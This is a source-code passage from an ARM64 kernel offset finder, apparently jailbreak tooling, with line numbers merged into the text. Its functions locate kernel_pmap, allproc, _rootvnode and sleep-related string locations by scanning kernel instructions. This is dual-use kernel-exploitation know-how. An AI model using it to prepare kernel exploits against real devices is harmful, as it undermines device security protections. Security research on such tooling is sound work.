kerne_pmap_ref.rd();1117loc_t kernel_pmap = (loc_t)kerne_pmap_ref.imm();11181119while (++kerne_pmap_ref != insn::ldr || kerne_pmap_ref.rn() != reg);1120assure(kerne_pmap_ref.pc()<btm.pc());11211122kernel_pmap += kerne_pmap_ref.imm();11231124return kernel_pmap;1125}11261127loc_t offsetfinder64::find_cpacr_write(){1128return memmem("\x40\x10\x18\xD5", 4);1129}11301131loc_t offsetfinder64::find_idlesleep_str_loc(){1132loc_t entryp = find_entry();11331134insn finder(_segments,entryp);1135assure(finder == insn::b);11361137insn deepsleepfinder(finder, (loc_t)finder.imm());1138while (--deepsleepfinder != insn::nop);11391140loc_t fref = find_literal_ref(_segments, (loc_t)(deepsleepfinder.pc())+4+0xC);11411142insn str(finder,fref);1143while (++str != insn::str);1144while (++str != insn::str);11451146loc_t idlesleep_str_loc = (loc_t)str.imm();1147int rn = str.rn();1148while (--str != insn::adrp || str.rd() != rn);1149idlesleep_str_loc += str.imm();11501151return idlesleep_str_loc;1152}11531154loc_t offsetfinder64::find_deepsleep_str_loc(){1155loc_t entryp = find_entry();11561157insn finder(_segments,entryp);1158assure(finder == insn::b);11591160insn deepsleepfinder(finder, (loc_t)finder.imm());1161while (--deepsleepfinder != insn::nop);11621163loc_t fref = find_literal_ref(_segments, (loc_t)(deepsleepfinder.pc())+4+0xC);11641165insn str(finder,fref);1166while (++str != insn::str);11671168loc_t idlesleep_str_loc = (loc_t)str.imm();1169int rn = str.rn();1170while (--str != insn::adrp || str.rd() != rn);1171idlesleep_str_loc += str.imm();11721173return idlesleep_str_loc;1174}11751176loc_t offsetfinder64::find_rootvnode() {1177return find_sym("_rootvnode");1178}11791180loc_t offsetfinder64::find_allproc(){1181loc_t str = findstr("\"pgrp_add : pgrp is dead adding process\"",true);1182retassure(str, "Failed to find str");11831184loc_t ref = find_literal_ref(_segments, str);1185retassure(ref, "literal ref to str");11861187insn ptr(_segments,ref);11881189while (++ptr != insn::and_ || ptr.rd() != 8 || ptr.rn() != 8 || ptr.imm() != 0xffffffffffffdfff);11901191loc_t retval = (loc_t)find_register_value(ptr-2, 8);11921193return retval;1194}11951196offsetfinder64::~offsetfinder64(){1197if (_freeKernel) safeFree(_kdata);1198}11991200120112021203120412051206120712081209//121012111212